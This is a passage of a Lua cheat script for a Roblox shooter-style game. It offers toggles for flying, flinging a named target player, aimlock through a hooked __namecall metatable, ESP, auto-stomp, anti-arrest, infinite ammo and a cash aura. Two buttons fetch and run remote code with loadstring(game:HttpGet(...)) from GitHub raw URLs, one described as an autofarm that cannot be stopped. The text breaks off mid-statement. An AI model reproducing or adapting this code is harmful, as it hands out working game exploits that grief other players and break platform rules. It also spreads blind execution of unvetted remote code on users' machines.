((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r} elseif (ctrl.l + ctrl.r) == 5 and (ctrl.f + ctrl.b) == 5 and speed ~= 5 then bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed else bv.velocity = Vector3.new(0,0.1,0) end bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0) until not flying ctrl = {f = 0, b = 0, l = 0, r = 0} lastctrl = {f = 0, b = 0, l = 0, r = 0} speed = 5 bg:Destroy() bv:Destroy() plr.Character:FindFirstChildWhichIsA('Humanoid').PlatformStand = false end mouse.KeyDown:connect(function(key) if key:lower() == "x" then if flying then flying = false HeroFly:Stop() HeroIdle:Stop() else flying = true Fly() end elseif key:lower() == "w" then ctrl.f = FLYSPEED elseif key:lower() == "s" then ctrl.b = -FLYSPEED elseif key:lower() == "a" then ctrl.l = -FLYSPEED elseif key:lower() == "d" then ctrl.r = FLYSPEED end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then ctrl.f = 0 elseif key:lower() == "s" then ctrl.b = 0 elseif key:lower() == "a" then ctrl.l = 0 elseif key:lower() == "d" then ctrl.r = 0 end if ctrl.r == 0 and ctrl.l == 0 and ctrl.b == 0 and ctrl.f == 0 then local Loop local loopFunction = function() Idleing2 = true HeroFly:Stop() wait() Idleing = false for i,v in pairs(player.Character.Humanoid:GetPlayingAnimationTracks()) do if v.Animation.AnimationId == 'rbxassetid://3541114300' then Idleing = true end end if Idleing == false and flying == true then HeroIdle:Play() end end; local Start = function() Loop = game:GetService("RunService").Heartbeat:Connect(loopFunction); end; local Pause = function() Loop:Disconnect() Idleing2 = false end; Start() repeat wait() until ctrl.r ~= 0 or ctrl.l ~= 0 or ctrl.b ~= 0 or ctrl.f ~= 0 or flying == false Pause() end end) Fly() player.CharacterAdded:Connect(function() repeat wait() until player.Character wait(1) Fly() end) end end) Fling.MouseButton1Click:Connect(function() if Fling.Text == 'Fling' then Fling.Text = 'Unfling' local Loop local OldFlingPos = player.Character.HumanoidRootPart.Position local loopFunction = function() local success,err = pcall(function() local FlingEnemy = Players:FindFirstChild(TargetTextbox.Text).Character if FlingEnemy and player.Character then FlingTorso = FlingEnemy.UpperTorso local dis = 3.85 local increase = 6 if FlingEnemy.Humanoid.MoveDirection.X < 0 then xchange = -increase elseif FlingEnemy.Humanoid.MoveDirection.X > 0 then xchange = increase else xchange = 0 end if FlingEnemy.Humanoid.MoveDirection.Z < 0 then zchange = -increase elseif FlingEnemy.Humanoid.MoveDirection.Z > 0 then zchange = increase else zchange = 0 end if player.Character then player.Character:FindFirstChildWhichIsA('Humanoid'):ChangeState(11) player.Character.HumanoidRootPart.CFrame = CFrame.new(FlingTorso.Position.X + math.random(-dis,dis) + xchange, FlingTorso.Position.Y, FlingTorso.Position.Z + math.random(-dis,dis) + zchange) * CFrame.Angles(math.rad(player.Character.HumanoidRootPart.Orientation.X + 350),math.rad(player.Character.HumanoidRootPart.Orientation.Y + 200),math.rad(player.Character.HumanoidRootPart.Orientation.Z + 240)) player.Character.HumanoidRootPart.Velocity = Vector3.new(500000,500000,500000) end end end) if err then print('fling error : ' .. err) end end; local Start = function() OldFlingPos = player.Character.HumanoidRootPart.Position Loop = game:GetService("RunService").Heartbeat:Connect(loopFunction); end; local Pause = function() Loop:Disconnect() local vectorZero = Vector3.new(0, 0, 0) player.Character.PrimaryPart.Velocity = vectorZero player.Character.PrimaryPart.RotVelocity = vectorZero player.Character.HumanoidRootPart.CFrame = CFrame.new(OldFlingPos) * CFrame.Angles(math.rad(0),math.rad(137.92),math.rad(0)) end; Start() repeat wait() until Fling.Text == 'Fling' Pause() else Fling.Text = 'Fling' end end) ------------------------------------------------------------------------------------------------------------------------------------------------ ------------------------------------------------------------------------------------------------------------------------------------------------ ------------------------------------------------------------------------------------------------------------------------------------------------ ------------------------------------------------------------------------------------------------------------------------------------------------ ------------------------------------------------------------------------------------------------------------------------------------------------ QToTpColor.BackgroundColor3 = red QToTp.MouseButton1Click:Connect(function() if QToTpColor.BackgroundColor3 == red then QToTpColor.BackgroundColor3 = green else QToTpColor.BackgroundColor3 = red end end) AntiSlowColor.BackgroundColor3 = red AntiSlow.MouseButton1Click:Connect(function() if AntiSlowColor.BackgroundColor3 == red then AntiSlowColor.BackgroundColor3 = green local Loop local loopFunction = function() local DeletePart = player.Character.BodyEffects.Movement:FindFirstChild('NoJumping') or player.Character.BodyEffects.Movement:FindFirstChild('ReduceWalk') or player.Character.BodyEffects.Movement:FindFirstChild('NoWalkSpeed') if DeletePart then DeletePart:Destroy() end if player.Character.BodyEffects.Reload.Value == true then player.Character.BodyEffects.Reload.Value = false end end; local Start = function() Loop = game:GetService("RunService").Heartbeat:Connect(loopFunction); end; local Pause = function() Loop:Disconnect() end; Start() repeat wait() until AntiSlowColor.BackgroundColor3 == red Pause() else AntiSlowColor.BackgroundColor3 = red end end) CashAuraColor.BackgroundColor3 = red CashAura.MouseButton1Click:Connect(function() if CashAuraColor.BackgroundColor3 == red then CashAuraColor.BackgroundColor3 = green local Loop local loopFunction = function() for i,v in pairs(game:GetService('Workspace')['Ignored']['Drop']:GetChildren()) do if v:IsA('Part') then if (v.Position - player.Character.HumanoidRootPart.Position).Magnitude <= 12 then fireclickdetector(v:FindFirstChild('ClickDetector')) end end end end; local Start = function() Loop = game:GetService("RunService").Heartbeat:Connect(loopFunction); end; local Pause = function() Loop:Disconnect() end; Start() repeat wait() until CashAuraColor.BackgroundColor3 == red Pause() else CashAuraColor.BackgroundColor3 = red end end) HideBlockColor.BackgroundColor3 = red HideBlock.MouseButton1Click:Connect(function() if HideBlockColor.BackgroundColor3 == red then HideBlockColor.BackgroundColor3 = green else HideBlockColor.BackgroundColor3 = red end end) AntiStompColor.BackgroundColor3 = red AntiStomp.MouseButton1Click:Connect(function() if AntiStompColor.BackgroundColor3 == red then AntiStompColor.BackgroundColor3 = green local Loop local loopFunction = function() if player.Character.BodyEffects['K.O'].Value == true then player.Character:Destroy() end end; local Start = function() Loop = game:GetService("RunService").Heartbeat:Connect(loopFunction); end; local Pause = function() Loop:Disconnect() end; Start() repeat wait() until AntiStompColor.BackgroundColor3 == red Pause() else AntiStompColor.BackgroundColor3 = red end end) AutoBlockColor.BackgroundColor3 = red AutoBlock.MouseButton1Click:Connect(function() if AutoBlockColor.BackgroundColor3 == red then AutoBlockColor.BackgroundColor3 = green local Loop local loopFunction = function() local forbidden = {'[RPG]','[SMG]','[TacticalShotgun]','[AK47]','[AUG]','[Glock]', '[Shotgun]','[Flamethrower]','[Silencer]','[AR]','[Revolver]','[SilencerAR]','[LMG]','[P90]','[DrumGun]','[Double-Barrel SG]','[Hamburger]','[Chicken]','[Pizza]','[Cranberry]','[Donut]','[Taco]','[Starblox Latte]','[BrownBag]','[Weights]','[HeavyWeights]'} local Found = false for _,v in pairs(game.Workspace.Players:GetChildren()) do if (v.UpperTorso.Position - player.Character.HumanoidRootPart.Position).Magnitude <= MaxDistance then if v.BodyEffects.Attacking.Value == true and not table.find(forbidden, v:FindFirstChildWhichIsA('Tool').Name ) and v.Name ~= player.Name then Found = true MainEvent:FireServer('Block', player.Name) end end end if Found == false and HoldingF == false then if player.Character.BodyEffects:FindFirstChild('Block') then player.Character.BodyEffects.Block:Destroy() end end end; local Start = function() Loop = game:GetService("RunService").Heartbeat:Connect(loopFunction); end; local Pause = function() Loop:Disconnect() end; Start() repeat wait() until AutoBlockColor.BackgroundColor3 == red Pause() else AutoBlockColor.BackgroundColor3 = red end end) AutoStompColor.BackgroundColor3 = red AutoStomp.MouseButton1Click:Connect(function() if AutoStompColor.BackgroundColor3 == red then AutoStompColor.BackgroundColor3 = green local Loop local loopFunction = function() MainEvent:FireServer('Stomp') end; local Start = function() Loop = game:GetService("RunService").Heartbeat:Connect(loopFunction); end; local Pause = function() Loop:Disconnect() end; Start() repeat wait() until AutoStompColor.BackgroundColor3 == red Pause() else AutoStompColor.BackgroundColor3 = red end end) AntiArrestColor.BackgroundColor3 = red AntiArrest.MouseButton1Click:Connect(function() if AntiArrestColor.BackgroundColor3 == red then AntiArrestColor.BackgroundColor3 = green local Loop local loopFunction = function() for _,v in pairs(game:GetService('Players'):GetChildren()) do if v.Character and v.DataFolder.Officer.Value == 1 then if (v.Character.HumanoidRootPart.Position - player.Character.HumanoidRootPart.Position).Magnitude <= 30 and player.Character.BodyEffects['K.O'].Value == true then player.Character:Destroy() end end end end; local Start = function() Loop = game:GetService("RunService").Heartbeat:Connect(loopFunction); end; local Pause = function() Loop:Disconnect() end; Start() repeat wait() until AntiArrestColor.BackgroundColor3 == red Pause() else AntiArrestColor.BackgroundColor3 = red end end) AutoDropColor.BackgroundColor3 = red AutoDrop.MouseButton1Click:Connect(function() if AutoDropColor.BackgroundColor3 == red then AutoDropColor.BackgroundColor3 = green local Loop local loopFunction = function() local DropAm = 10000 if player.DataFolder.Currency.Value > 10000 then DropAm = '10000' else DropAm = tostring(player.DataFolder.Currency.Value) end local args = { 'DropMoney', DropAm } MainEvent:FireServer(unpack(args)) end; local Start = function() Loop = game:GetService("RunService").Heartbeat:Connect(loopFunction); end; local Pause = function() Loop:Disconnect() end; Start() repeat wait() until AutoDropColor.BackgroundColor3 == red Pause() else AutoDropColor.BackgroundColor3 = red end end) HideUserColor.BackgroundColor3 = red HideUser.MouseButton1Click:Connect(function() if HideUserColor.BackgroundColor3 == red then HideUserColor.BackgroundColor3 = green NamePos = player.Character.HumanoidRootPart.CFrame local Loop local loopFunction = function() local WearingMask = player.Character:FindFirstChild('In-gameMask') local Humanoid = player.Character:FindFirstChildWhichIsA('Humanoid') if not WearingMask then local OwnsMask = player.Character:FindFirstChild('Mask') or player.Backpack:FindFirstChild('Mask') if OwnsMask then local MaskInventory = player.Backpack:FindFirstChild('Mask') if MaskInventory then Humanoid:EquipTool(MaskInventory) wait(0.1) end OwnsMask:Activate() else local ItemName = 'Mask' local ItemCost = 60 local ClickDetector = game:GetService("Workspace").Ignored.Shop["[Paintball Mask] - $60"].ClickDetector local Location = game:GetService("Workspace").Ignored.Shop["[Paintball Mask] - $60"].Head.Position local function buy() wait() player.Character.HumanoidRootPart.CFrame = CFrame.new(Location) fireclickdetector(ClickDetector) if not player.Character.LeftHand:FindFirstChild('LeftWrist') then player.Character.LeftHand.Position = player.Character.LeftLowerArm.Position player.Character.RightHand.Position = player.Character.RightLowerArm.Position end end repeat buy() until player.Backpack:FindFirstChild(ItemName) or player.DataFolder.Currency.Value <= ItemCost or player.Character:FindFirstChild(ItemName) player.Character.HumanoidRootPart.CFrame = NamePos if not player.Character.LeftHand:FindFirstChild('LeftWrist') then player.Character.LeftHand.Position = player.Character.LeftLowerArm.Position player.Character.RightHand.Position = player.Character.RightLowerArm.Position end end else local MaskVisible = player.Character:FindFirstChild('In-gameMask'):FindFirstChild('Handle') if MaskVisible then MaskVisible:Destroy() end end end; local Start = function() Loop = game:GetService("RunService").Heartbeat:Connect(loopFunction); end; local Pause = function() Loop:Disconnect() end; Start() repeat wait() until HideUserColor.BackgroundColor3 == red Pause() else HideUserColor.BackgroundColor3 = red end end) AntiBagColor.BackgroundColor3 = red AntiBag.MouseButton1Click:Connect(function() if AntiBagColor.BackgroundColor3 == red then AntiBagColor.BackgroundColor3 = green local Loop local loopFunction = function() if player.Character:FindFirstChild('Christmas_Sock') then player.Character:FindFirstChild('Christmas_Sock'):Destroy() end end; local Start = function() Loop = game:GetService("RunService").Heartbeat:Connect(loopFunction); end; local Pause = function() Loop:Disconnect() end; Start() repeat wait() until AntiBagColor.BackgroundColor3 == red Pause() else AntiBagColor.BackgroundColor3 = red end end) AltArmorColor.BackgroundColor3 = red AltArmor.MouseButton1Click:Connect(function() if AltArmorColor.BackgroundColor3 == red then AltArmorColor.BackgroundColor3 = green else AltArmorColor.BackgroundColor3 = red end end) RocketRideColor.BackgroundColor3 = red RocketRide.MouseButton1Click:Connect(function() if RocketRideColor.BackgroundColor3 == red then RocketRideColor.BackgroundColor3 = green local Loop local loopFunction = function() local Rocket = game:GetService('Workspace'):FindFirstChild('Ignored'):FindFirstChild('MyLauncher') if Rocket and COOLDOWN == true then local RocketPart = game:GetService('Workspace'):FindFirstChild('Ignored'):FindFirstChild('RocketPart') if not RocketPart then local RocketPart = Instance.new('Part', game.Workspace.Ignored) RocketPart.Name = 'RocketPart' RocketPart.Anchored = true RocketPart.CanCollide = true RocketPart.Transparency = 1 RocketPart.Position = Vector3.new(Rocket.Position.X, Rocket.Position.Y + 1.4, Rocket.Position.Z) player.Character.HumanoidRootPart.CFrame = CFrame.new(RocketPart.Position.X, RocketPart.Position.Y + 2, RocketPart.Position.Z) * CFrame.Angles(math.rad(player.Character.HumanoidRootPart.Orientation.X),math.rad(player.Character.HumanoidRootPart.Orientation.Y),math.rad(player.Character.HumanoidRootPart.Orientation.Z)) RIDING = true else RocketPart.Position = Vector3.new(Rocket.Position.X, Rocket.Position.Y + 1.4, Rocket.Position.Z) player.Character.HumanoidRootPart.CFrame = CFrame.new(RocketPart.Position.X, RocketPart.Position.Y + 2.3, RocketPart.Position.Z) * CFrame.Angles(math.rad(player.Character.HumanoidRootPart.Orientation.X),math.rad(player.Character.HumanoidRootPart.Orientation.Y),math.rad(player.Character.HumanoidRootPart.Orientation.Z)) RIDING = true end else for i,v in pairs(game:GetService('Workspace'):FindFirstChild('Ignored'):GetChildren()) do if v.Name == 'RocketPart' then v:Destroy() end RIDING = false end end end; local Start = function() Loop = game:GetService("RunService").Heartbeat:Connect(loopFunction); end; local Pause = function() Loop:Disconnect() end; Start() repeat wait() until RocketRideColor.BackgroundColor3 == red Pause() else RocketRideColor.BackgroundColor3 = red end end) AntiGrabColor.BackgroundColor3 = red AntiGrab.MouseButton1Click:Connect(function() if AntiGrabColor.BackgroundColor3 == red then AntiGrabColor.BackgroundColor3 = green local Loop local loopFunction = function() local GC = player.Character:FindFirstChild("GRABBING_CONSTRAINT") if GC then GC:Destroy() wait(0.04) player.Character:FindFirstChildWhichIsA('Humanoid').Sit = true end end; local Start = function() Loop = game:GetService("RunService").Heartbeat:Connect(loopFunction); end; local Pause = function() Loop:Disconnect() end; Start() repeat wait() until AntiGrabColor.BackgroundColor3 == red Pause() else AntiGrabColor.BackgroundColor3 = red end end) AntiEffectsColor.BackgroundColor3 = red AntiEffects.MouseButton1Click:Connect(function() if AntiEffectsColor.BackgroundColor3 == red then AntiEffectsColor.BackgroundColor3 = green player.PlayerGui.Framework.FBAnimation.Name = 'yea' local Loop local loopFunction = function() local Particle = player.Character.UpperTorso:FindFirstChild('ElectricuteParticle') or player.Character.UpperTorso:FindFirstChild('FlamethrowerFireParticle') if Particle then Particle:Destroy() end for i,v in pairs(player.Character:FindFirstChildWhichIsA('Humanoid'):GetPlayingAnimationTracks()) do if v.Animation.AnimationId == 'rbxassetid://5641749824' then v:Stop() end end end; local Start = function() Loop = game:GetService("RunService").Heartbeat:Connect(loopFunction); end; local Pause = function() Loop:Disconnect() end; Start() repeat wait() until AntiEffectsColor.BackgroundColor3 == red Pause() else AntiEffectsColor.BackgroundColor3 = red player.PlayerGui.Framework.yea.Name = 'FBAnimation' end end) ------------------------------------------------------------------------------------------------------------------------------------------------ ------------------------------------------------------------------------------------------------------------------------------------------------ ------------------------------------------------------------------------------------------------------------------------------------------------ ------------------------------------------------------------------------------------------------------------------------------------------------ ------------------------------------------------------------------------------------------------------------------------------------------------ --Rpg Variables-- DS = 75 DT = 5 RpgTimer = DS Distance = DT RPGTarget = 'None' ----------------- local mt = getrawmetatable(game) -- aimlok pos = Vector3.new(0,0,0) local old = mt.__namecall setreadonly(mt,false) mt.__namecall = newcclosure(function(self, ...) local args = {...} if getnamecallmethod() == 'FireServer' and self.Name == 'MainEvent' then if tostring(args[1]) == 'UpdateMousePos' then if Aimlocked ~= nil then args[2] = pos end end end return old(self, unpack(args)) end) Invisible.MouseButton1Click:Connect(function() OldInvisCFrame = player.Character.HumanoidRootPart.CFrame player.Character.HumanoidRootPart.CFrame = CFrame.new(318.499, 93.825, -919.513) wait(0.1) player.Character:BreakJoints() wait(0.1) player.Character.HumanoidRootPart.CFrame = OldInvisCFrame end) Spin.MouseButton1Click:Connect(function() if Spin.Text == 'Spin' then Spin.Text = 'Unspin' local Loop local loopFunction = function() player.Character.HumanoidRootPart.CFrame = player.Character.HumanoidRootPart.CFrame * CFrame.Angles(0, math.rad(50), 0) end; local Start = function() Loop = game:GetService("RunService").Heartbeat:Connect(loopFunction); end; local Pause = function() Loop:Disconnect() end; Start() repeat wait() until Spin.Text == 'Spin' Pause() else Spin.Text = 'Spin' end end) Users.MouseButton1Click:Connect(function() for i,v in pairs(game.Workspace.Players:GetChildren()) do v:FindFirstChildWhichIsA('Humanoid').DisplayDistanceType = 'Subject' end announce('Showing masked usersnames', '', 3) end) MoneyESP.MouseButton1Click:Connect(function() if MoneyESP.Text == 'MoneyESP' then MoneyESP.Text = 'UnmoneyESP' local Loop local loopFunction = function() for i,v in pairs(game.Workspace.Ignored.Drop:GetChildren()) do if v.Name == 'MoneyDrop' then v.BillboardGui.AlwaysOnTop = true v.BillboardGui.Size = UDim2.new(0,25,0,25) end end end; local Start = function() Loop = game:GetService("RunService").Heartbeat:Connect(loopFunction); end; local Pause = function() Loop:Disconnect() end; Start() repeat wait(1) until MoneyESP.Text == 'MoneyESP' Pause() else MoneyESP.Text = 'MoneyESP' for i,v in pairs(game.Workspace.Ignored.Drop:GetChildren()) do if v.Name == 'MoneyDrop' then v.BillboardGui.AlwaysOnTop = false v.BillboardGui.Size = UDim2.new(1,0,1,0) end end end end) Esp.MouseButton1Click:Connect(function() if Esp.Text == 'Esp' then Esp.Text = 'Unesp' local Loop local loopFunction = function() for _,v in pairs(Players:GetChildren()) do if v.Character then if not v.Character.UpperTorso:FindFirstChild('ESP') then local ESP = Instance.new('BillboardGui', v.Character.UpperTorso) ESP.StudsOffset = Vector3.new(0,3,0) ESP.Size = UDim2.new(4,0,1,0) ESP.AlwaysOnTop = true ESP.Name = 'ESP' local TextLabel = Instance.new('TextLabel', ESP) TextLabel.Text = (v.Name ..' | ' .. v.DisplayName) TextLabel.BackgroundTransparency = 1 TextLabel.Size = UDim2.new(1,0,1,0) TextLabel.TextColor3 = green end end end end; local Start = function() Loop = game:GetService("RunService").Heartbeat:Connect(loopFunction); end; local Pause = function() Loop:Disconnect() end; Start() repeat wait() until Esp.Text == 'Esp' Pause() else Esp.Text = 'Esp' for _,v in pairs(Players:GetChildren()) do if v.Character then if v.Character.UpperTorso:FindFirstChild('ESP') then v.Character.UpperTorso:FindFirstChild('ESP'):Destroy() end end end end end) HighTool.MouseButton1Click:Connect(function() if player.Character:FindFirstChildWhichIsA('Tool') then player.Character:FindFirstChildWhichIsA('Tool').Grip = CFrame.new(0, -12, 0, 1, 0, 0, 0, 1, 0, 0, 0, -1) else announce('HighTool Error', 'you have to be holding a tool', 5) end end) LastingBullets.MouseButton1Click:Connect(function() if player.Character:FindFirstChildWhichIsA('Tool') then if player.Character:FindFirstChildWhichIsA('Tool'):FindFirstChild('Handle'):FindFirstChildWhichIsA('BillboardGui') then player.Character:FindFirstChildWhichIsA('Tool'):FindFirstChild('Handle'):FindFirstChildWhichIsA('BillboardGui'):Destroy() else announce('LastingBullets Error', 'you have to be holding a gun', 5) end else announce('LastingBullets Error', 'you have to be holding a gun', 5) end end) Stamina.MouseButton1Click:Connect(function() if Stamina.Text == 'Stamina' then Stamina.Text = 'Unstamina' else Stamina.Text= 'Stamina' end end) SwagUsers.MouseButton1Click:Connect(function() local TOTAL = 0 for i,v in pairs(game.Workspace.Players:GetChildren()) do if not v.UpperTorso:FindFirstChild('OriginalSize') then if v.Name ~= player.Name then TOTAL = TOTAL + 1 end end end if TOTAL > 0 then announce('Found','A total of ' .. tostring(TOTAL) .. ' of swag mode players', 3) else announce('D:', 'no swag mode users found', 3) end end) Aimlock.MouseButton1Click:Connect(function() if Aimlock.Text == 'Aimlock' then Aimlock.Text = 'Unaimlock' announce('Aimlock Enabled', 'press e to aimlock', 3) local Loop local loopFunction = function() local enemy = game.Players:FindFirstChild(Aimlocked).Character if enemy then local pingvalue = game:GetService("Stats").Network.ServerStatsItem["Data Ping"]:GetValueString() local split = string.split(pingvalue,'(') local ping = tonumber(split[1]) local xchange local zchange if ping < 70 then increase = 0.4 elseif ping < 140 then increase = 0.57 elseif ping < 200 then increase = 0.7 elseif ping < 350 then increase = 1.2 else increase = 1.6 end if enemy.Humanoid.MoveDirection.X < 0 then xchange = -increase elseif enemy.Humanoid.MoveDirection.X > 0 then xchange = increase else xchange = 0 end if enemy.Humanoid.MoveDirection.Z < 0 then zchange = -increase elseif enemy.Humanoid.MoveDirection.Z > 0 then zchange = increase else zchange = 0 end pos = Vector3.new(enemy.Head.Position.X + enemy.Humanoid.MoveDirection.X + xchange, enemy.Head.Position.Y, enemy.Head.Position.Z + enemy.Humanoid.MoveDirection.Z + zchange) else pos = mouse.Hit.p end end; local Start = function() Loop = game:GetService("RunService").Heartbeat:Connect(loopFunction); end; local Pause = function() Loop:Disconnect() end; Start() repeat wait() until Aimlock.Text == 'Aimlock' Pause() else Aimlock.Text = 'Aimlock' Aimlocked = nil end end) AutoFarmWarning = false Autofarm.MouseButton1Click:Connect(function() if AutoFarmWarning == false then AutoFarmWarning = true announce('Autofarm Warning', 'press again to begin autofarming, this CANNOT be stopped', 10) else announce('Starting Autofarm', ':D', 5) loadstring(game:HttpGet("https://raw.githubusercontent.com/lerkermer/lua-projects/master/SwagAutofarm"))() end end) Unban.MouseButton1Click:Connect(function() local localPlayer = game:GetService('Players').LocalPlayer; local localCharacter = localPlayer.Character; localCharacter:FindFirstChildOfClass('Humanoid').Health = 0; localCharacter:ClearAllChildren() local newCharacter = localPlayer.CharacterAdded:Wait(); local spoofFolder = Instance.new('Folder'); spoofFolder.Name = 'FULLY_LOADED_CHAR'; spoofFolder.Parent = newCharacter; newCharacter:WaitForChild('RagdollConstraints'):Destroy(); local spoofValue = Instance.new('BoolValue', newCharacter); spoofValue.Name = 'RagdollConstraints'; end) FullGod.MouseButton1Click:Connect(function() end) TazerTarget = nil GrenadeTarget = nil LockTools.MouseButton1Click:Connect(function() local function rpglock() local RpgTool = Instance.new('Tool', player.Backpack) RpgTool.ToolTip = 'Click a player to rpg lock them' RpgTool.CanBeDropped = false RpgTool.RequiresHandle = false RpgTool.Name = 'Rpg Lock' RpgTool.Activated:Connect(function() local LowerTorso = mouse.Target.Parent:FindFirstChild('LowerTorso') if not LowerTorso then LowerTorso = mouse.Target.Parent.Parent:FindFirstChild('LowerTorso') end if LowerTorso then if LowerTorso.Parent.Name == 'SpecialParts' then RPGTarget = LowerTorso.Parent.Parent.Parent.Name else RPGTarget = LowerTorso.Parent.Name end announce('Rpg locked onto', RPGTarget, 3) else RPGTarget = nil announce('Rpg unlocked', '', 3) end end) end local function grenadelock() local GrenadeTool = Instance.new('Tool', player.Backpack) GrenadeTool.ToolTip = 'Click a player to grenade lock them' GrenadeTool.CanBeDropped = false GrenadeTool.RequiresHandle = false GrenadeTool.Name = 'Grenade Lock' GrenadeTool.Activated:Connect(function() local LowerTorso = mouse.Target.Parent:FindFirstChild('LowerTorso') if not LowerTorso then LowerTorso = mouse.Target.Parent.Parent:FindFirstChild('LowerTorso') end if LowerTorso then if LowerTorso.Parent.Name == 'SpecialParts' then GrenadeTarget = LowerTorso.Parent.Parent.Parent.Name else GrenadeTarget = LowerTorso.Parent.Name end announce('Grenades locked onto', GrenadeTarget, 5) else TazerTarget = nil announce('Grenades unlocked', '', 3) end end) end local function taserlock() local TazerTool = Instance.new('Tool', player.Backpack) TazerTool.ToolTip = 'Click a player to tazer lock them' TazerTool.CanBeDropped = false TazerTool.RequiresHandle = false TazerTool.Name = 'Tazer Lock' TazerTool.Activated:Connect(function() local LowerTorso = mouse.Target.Parent:FindFirstChild('LowerTorso') if not LowerTorso then LowerTorso = mouse.Target.Parent.Parent:FindFirstChild('LowerTorso') end if LowerTorso then if LowerTorso.Parent.Name == 'SpecialParts' then TazerTarget = LowerTorso.Parent.Parent.Parent.Name else TazerTarget = LowerTorso.Parent.Name end announce('Taser locked onto', TazerTarget, 5) else TazerTarget = nil announce('Taser unlocked', '', 3) end end) end taserlock() rpglock() grenadelock() local Loop local loopFunction = function() if RPGTarget ~= nil then local Launcher = game:GetService('Workspace'):FindFirstChild('Ignored'):FindFirstChild('Launcher') or game:GetService('Workspace'):FindFirstChild('Ignored'):FindFirstChild('MyLauncher') local TargetRPG1 = game:GetService('Workspace').Players:FindFirstChild(RPGTarget) if Launcher and TargetRPG1 then local TargetRPG = TargetRPG1:FindFirstChild('HumanoidRootPart') if TargetRPG then if RpgTimer >= 0 then Launcher.CFrame = CFrame.new(TargetRPG.Position.X, TargetRPG.Position.Y + 5, TargetRPG.Position.Z) RpgTimer = RpgTimer - 1 else Launcher.CFrame = CFrame.new(TargetRPG.Position.X, TargetRPG.Position.Y + Distance, TargetRPG.Position.Z) Distance = Distance - 1 end else RpgTimer = DS Distance = DT end else RpgTimer = DS Distance = DT end end if TazerTarget ~= nil then if player.Character:FindFirstChild('[Taser]') then local Part = player.Character['[Taser]']:FindFirstChild('Handle'):FindFirstChild('Part') if Part then local FindPlayer = game.Workspace.Players:FindFirstChild(TazerTarget):FindFirstChild('UpperTorso') or game.Workspace:FindFirstChild(TazerTarget):FindFirstChild('UpperTorso') if FindPlayer then Part.Position = FindPlayer.Position end end end end if GrenadeTarget ~= nil then print('lookin') local Handle = game.Workspace['Ignored']:FindFirstChild('Handle') local FindPlayer = Players:FindFirstChild(GrenadeTarget) if Handle and FindPlayer then if FindPlayer.Character then Handle.Position = FindPlayer.Character.UpperTorso.Position end end end end; Tab:AddButton({Name = "Fat", Callback = function() loadstring(game:HttpGet("https://raw.githubusercontent.com/slammy1/fat/main/3"))() end}) local Start = function() Loop = game:GetService("RunService").Heartbeat:Connect(loopFunction); end; local Pause = function() Loop:Disconnect() end; Start() repeat wait() until not player.Character or player.Character:FindFirstChildOfClass('Humanoid').Died == true Pause() end) InfTools.MouseButton1Click:Connect(function() announce('Infinite Ammo Given', 'hold the tool to buy ammo shoot without reloading', 8) function infrev() if player.PlayerGui.MainScreenGui:FindFirstChild('BattleRoyaleFFA') then player.PlayerGui.MainScreenGui:FindFirstChild('BattleRoyaleFFA').TextLabel.Name = 'AmmoText' player.PlayerGui.MainScreenGui:FindFirstChild('BattleRoyaleFFA').Position = UDim2.new(2,0,2,0) player.PlayerGui.MainScreenGui:FindFirstChild('BattleRoyaleFFA').Size = UDim2.new(0,0,0,0) player.PlayerGui.MainScreenGui:FindFirstChild('BattleRoyaleFFA').Name = 'AmmoFrame' end local Gun = '[Revolver]' local GunTexture = 'rbxassetid://3420082920' local GunPath = game:GetService("Workspace").Ignored.Shop["[Revolver] - $1300"].Head local Holding = false local InfiniteTool = Instance.new('Tool', player.Backpack) InfiniteTool.Name = 'Rev' InfiniteTool.ToolTip = 'buy guns while holding, shoot while using this tool' InfiniteTool.TextureId = GunTexture InfiniteTool.RequiresHandle = true InfiniteTool.CanBeDropped = false local Handle = Instance.new('Part', InfiniteTool) Handle.Name = 'Handle' Handle.Anchored = false Handle.Size = Vector3.new(0,0,0) Handle.Massless = true Handle.Transparency = 1 Handle.CanCollide = false InfiniteTool.Equipped:Connect(function() Holding = true player.PlayerGui.MainScreenGui:FindFirstChild('AmmoFrame').Name = 'AmmoFrame2' for i,v in pairs(player.Backpack:GetChildren()) do if v.Name == Gun and not player.Character:FindFirstChild(Gun) then if v.Ammo.Value > 0 then v.Parent = player.Character end end end while Holding == true do wait(0) local TotalAmmo = 0 for i,v in pairs(player.Backpack:GetChildren()) do if v.Name == Gun then TotalAmmo = TotalAmmo + v.Ammo.Value end end for i,v in pairs(player.Character:GetChildren()) do if v.Name == Gun then TotalAmmo = TotalAmmo + v.Ammo.Value end end player.PlayerGui.MainScreenGui.AmmoFrame2.AmmoText.Text = tostring(TotalAmmo) player.PlayerGui.MainScreenGui.AmmoFrame2.AmmoText.Visible = true player.PlayerGui.MainScreenGui.AmmoFrame2.Visible = true local mag = (GunPath.Position - player.Character.HumanoidRootPart.Position).Magnitude if mag <= 8 and player.Character:FindFirstChild(InfiniteTool.Name) then for i,v in pairs(player.Backpack:GetChildren()) do if v.Name == Gun then v.Parent = player.Character end end end fireclickdetector(GunPath.Parent.ClickDetector) if player.Character:FindFirstChild(Gun).Ammo.Value < 1 then player.Character:FindFirstChild(Gun).Parent = player.Backpack for i,v in pairs(player.Backpack:GetChildren()) do if v.Name == Gun and not player.Character:FindFirstChild(Gun) then if v.Ammo.Value > 0 then v.Parent = player.Character end end end end end end) InfiniteTool.Unequipped:Connect(function() Holding = false player.PlayerGui.MainScreenGui:FindFirstChild('AmmoFrame2').Name = 'AmmoFrame' end) end function infdb() if player.PlayerGui.MainScreenGui:FindFirstChild('BattleRoyaleFFA') then player.PlayerGui.MainScreenGui:FindFirstChild('BattleRoyaleFFA').TextLabel.Name = 'AmmoText' player.PlayerGui.MainScreenGui:FindFirstChild('BattleRoyaleFFA').Position = UDim2.new(2,0,2,0) player.PlayerGui.MainScreenGui:FindFirstChild('BattleRoyaleFFA').Size = 